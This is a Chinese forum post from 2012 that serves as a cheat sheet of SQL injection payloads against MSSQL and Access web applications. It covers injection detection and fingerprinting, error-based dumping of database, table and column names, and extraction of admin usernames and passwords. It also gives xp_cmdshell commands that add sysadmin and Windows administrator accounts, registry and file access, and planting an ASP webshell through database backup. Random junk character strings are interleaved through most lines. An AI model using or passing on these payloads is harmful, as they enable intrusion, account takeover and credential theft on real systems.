找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2045|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
1.判断是否有注入
) M/ K& `6 T, e;and 1=1
1 v' ]0 a: U2 w7 w% v3 I: A2 P- J- O;and 1=2 1 R' V. |) f+ M" X- k' m& j

0 P5 H* u  O5 ^" ]2.初步判断是否是mssql 9 x$ P9 l- Y! z
;and user>0 2 Z! j' R* {; c: [5 K

( g) r! Y# m9 Y/ J$ |" P+ _, V( F1 L3.判断数据库系统
; `" r; ^: L4 x1 u. b. ^;and (select count(*) from sysobjects)>0 mssql $ ^: y. a  d+ g" P% h
;and (select count(*) from msysobjects)>0 access
5 a- {1 x1 j) _% W' b+ @5 o( j3 B, b1 B
4.注入参数是字符
: T# h* \$ E8 n9 I'and [查询条件] and ''=' , W- z; _6 b. Q! h% Z7 q- k' Y9 T5 y
3 Y  p( e; y" w2 V8 V
5.搜索时没过滤参数的 1 ?- X: U7 W; t) Q# E" U$ R2 r5 j
'and [查询条件] and '%25'='
. ~, r( s! s6 l) g: x; R0 i. n! S/ T: f" J, a
6.猜数表名 + m) y' Y9 {, W1 C3 n
;and (select Count(*) from [表名])>0
2 ?6 T2 U2 d4 J: R2 }; y; s+ O- ~' T( ~+ C7 |* @' N
7.猜字段
/ q: Q: J6 P& h! I;and (select Count(字段名) from 表名)>0 / p( z" R" w! w2 L6 @0 P

  Z; `5 n' @! J4 l+ l! [) F8.猜字段中记录长度
8 u* |$ G9 K# `. d8 ~( Q1 `;and (select top 1 len(字段名) from 表名)>0
: n6 Z7 [/ `. r
7 W/ o& M' ~2 b; y9 r8 j9.(1)猜字段的ascii值(access) 2 x' n/ n& v+ \
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 2 Z: e+ W, p0 p( C) v9 ]6 |
$ ?  V3 S/ B, `* S3 {' g) {
(2)猜字段的ascii值(mssql) - D, |% \/ [* H( H/ p) m
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
3 w  }/ L& |! d6 D3 c6 L! z# p) v# q% K
10.测试权限结构(mssql) * e/ V6 S: u8 B% g3 a0 Z: j
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- : \2 v, C+ r. w5 k
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
. ?' \. Q- s, R5 A$ K/ P5 v;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
8 l  x' i# X+ h: N4 \- c;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
. ^. y8 y5 q8 a0 a8 @;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
; f' t0 n! J' A$ ]$ v;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- + z  G# u" e% \4 |1 k
;and 1=(select IS_MEMBER('db_owner'));--   ~, }3 M) c1 y
, ~& G2 T* Y8 @! Y4 ^4 c' V
11.添加mssql和系统的帐户
) V1 ^; B! i7 l9 U) f* u% E! b/ D" G  P5 O;exec master.dbo.sp_addlogin username;--
3 b6 F% X: L9 J8 e2 };exec master.dbo.sp_password null,username,password;--
: z# T# V, G' q% |8 k$ k9 l;exec master.dbo.sp_addsrvrolemember sysadmin username;--
) n; j6 ~3 F! O! U7 \" e# T' [. z;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- ( i. q+ d, N2 |! c) f6 n9 R) h- r, G
;exec master.dbo.xp_cmdshell 'net user username password /add';--
) n( v! c# t* ~( \8 R4 p;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 6 g. C9 z8 n" }. n) u6 @

% F  P- m3 C7 Q2 S9 u. w12.(1)遍历目录 8 C9 G& o1 q5 i$ g
;create table dirs(paths varchar(100), id int)
9 n* \' b* G$ {1 d$ s;insert dirs exec master.dbo.xp_dirtree 'c:\'
1 k: y" X) U/ k;and (select top 1 paths from dirs)>0
; I# c) z+ q! k2 g1 \  a3 G;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ! q- ~: M+ o# ]$ s8 N4 n
& }4 @* L3 v( Z2 A4 O3 g- Z
(2)遍历目录 # B; ~6 S, B# \( i% B
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ! S! X( E; }' l" W/ Q' Y& m
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
+ l* {8 p% ~& ?( ~$ q: |+ z;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
9 t. G8 h. k/ R9 C;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
! C  W  O% |( i* s+ f7 _% a) i;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
  ~- V. C  f: k. M, v* w6 e+ O' H+ c# @
13.mssql中的存储过程 " h, ^7 x- u6 f3 }$ K) b" B
xp_regenumvalues 注册表根键, 子键 8 s, }. Q/ Z* D7 T+ K8 ?
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
% Y1 m' h8 O$ N0 f2 p6 Dxp_regread 根键,子键,键值名
: U# g" g) R3 I. a& i7 }5 b- J5 _/ t2 z;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值   Y0 ^2 g  ?+ r* U# V, C- D; _
xp_regwrite 根键,子键, 值名, 值类型, 值 8 P# d1 g7 l" }$ L
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
. F) j5 L/ j- L' v8 P;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 ! E& u# o' G( a& k" q
xp_regdeletevalue 根键,子键,值名 1 V% @+ {7 }! K( U* M* O
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
% I1 X6 ~2 n$ _" Exp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
9 _- O) E# A1 h  M5 y5 ]/ V0 i4 P& U
14.mssql的backup创建webshell , J% @, J( c! E: e0 P
use model 9 e# ]: q; ?& f9 U! N
create table cmd(str image); ' E; L6 \- f9 R) K& ?
insert into cmd(str) values ('<% Dim oScript %>'); : @5 w1 s) R$ T7 M7 Z4 [: h; v5 m
backup database model to disk='c:\l.asp';
  n9 l$ p0 P$ b, F
; |3 B) c: V8 T. @15.mssql内置函数 6 z/ L/ K+ u3 @+ g/ j8 h
;and (select @@version)>0 获得Windows的版本号
* @/ _1 h. z& U3 p9 ^6 {/ e5 p;and user_name()='dbo' 判断当前系统的连接用户是不是sa 4 K+ ]3 O" c$ i' i
;and (select user_name())>0 爆当前系统的连接用户
2 a3 [0 f: o! C; b$ C9 d- v  K; G. t;and (select db_name())>0 得到当前连接的数据库 & ?; R& O" _  `4 U8 ?) l

+ \$ Q/ @! n( a( j' @& z5 w% M' ?9 W* p  n& L# ^+ H$ I, Z, _0 }
, O4 p% J. \* B
MSSQL手注暴库4 {6 [  I6 t+ a; Q! H0 C
7 @4 w3 U. P3 c% m9 N$ C3 T
1.暴出当前表名和列名
3 P0 `0 ]6 k; N/ {: z* j在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
+ u4 Q4 z; M1 J
# o  V: \; M/ s7 O. @) w2 K第一.爆出所有数据库名/ ]$ t* c& p. M4 F+ g
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
' x' v. {2 s; W第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
- p! c9 f% v- P7 J- ]; v! v9 W3 K+ p: X- u5 _
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名
/ X; \. i/ T2 |% K! `$ ]" [* |0 z! P
! o; e4 j5 a# d: ^/ q  m- H; R1 {0 |: T. f" Z. n
第二.爆出指定库中的所有表名
# @9 H7 e+ a( J6 u; c得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。6 }2 k' \6 q3 Z, p4 \: q
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
. y% s$ y! m4 {9 X8 |7 L$ ]1 E3 q* P2 ^8 ^
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
4 w1 R. J; I( Z, b5 d1 C) oand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
6 E+ G; y4 J% Kand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--3 `$ e6 t  G% a) y1 _0 ?0 Z( B6 X
7 g0 {, p9 i7 E# F1 J4 z5 R2 O
4.爆出指定表中的所有列名
* b/ G  T; ^+ y+ R' }" ]( K7 {and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) % [( W! S+ u8 ~! r- c8 S5 s* Z7 a
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'2 m3 @5 t: j) T6 q, C% q

8 }3 K4 M) G  B7 y" yand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
) u7 o& |1 l" ^! i! s( g3 V6 L* B: s  L& \; Y5 G9 T$ Z
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- * W: \$ L$ r$ n% ^: @6 ?. G5 ~. J
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。. s$ o1 I3 g" m. |1 g
( d- c/ {/ e! r6 X% ?

/ l! ?( b3 f7 [  q1 a8 N. p, eand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
& g9 j9 Y0 T' x: r! ?5 u9 ~7 X1 ~8 e% K8 `! e
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
  I# l: H8 G% f4 L0 g9 v8 `( x9 Y) m4 P* c5 a
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- & i+ [* c. E4 t" ^7 w" D8 H

1 o7 c: t/ w! M; ]! J' {5 Y$ k1 ~8 M" a. u1 |. H1 n

5 g* X# e2 a- X* E& n5.读取指定表中的数据8 d/ \% L; J6 x. \) S3 v* w! E4 @

: v, `6 F" I. I' wand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
: g" y: R$ d, b/ w! S+ `* B; u: ]- T/ j
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--: W+ ^6 U" [- }! l* L$ ]# o! x

" @2 n9 y0 t0 i4 z, o; |5 Nand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码% A; N, s- _) n6 L. v  w
1 W$ n: h0 C% V

; [: V) c# ^. ~4 t1 K# ~$ E/ S$ zand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
- Y* M( U: U" l4 l7 k! l/ o" p: a
* }) Y* V# l2 L3 i, u1 G4 q5 Band 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
# Y+ t, n% u9 g9 z( t- V/ [% i: r1 |$ W$ ?
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
# x: \" ^% N% k/ P2 e; l
7 S# ?* k  y2 U. x* j: b- k( f知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
* n$ I5 }' a9 K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表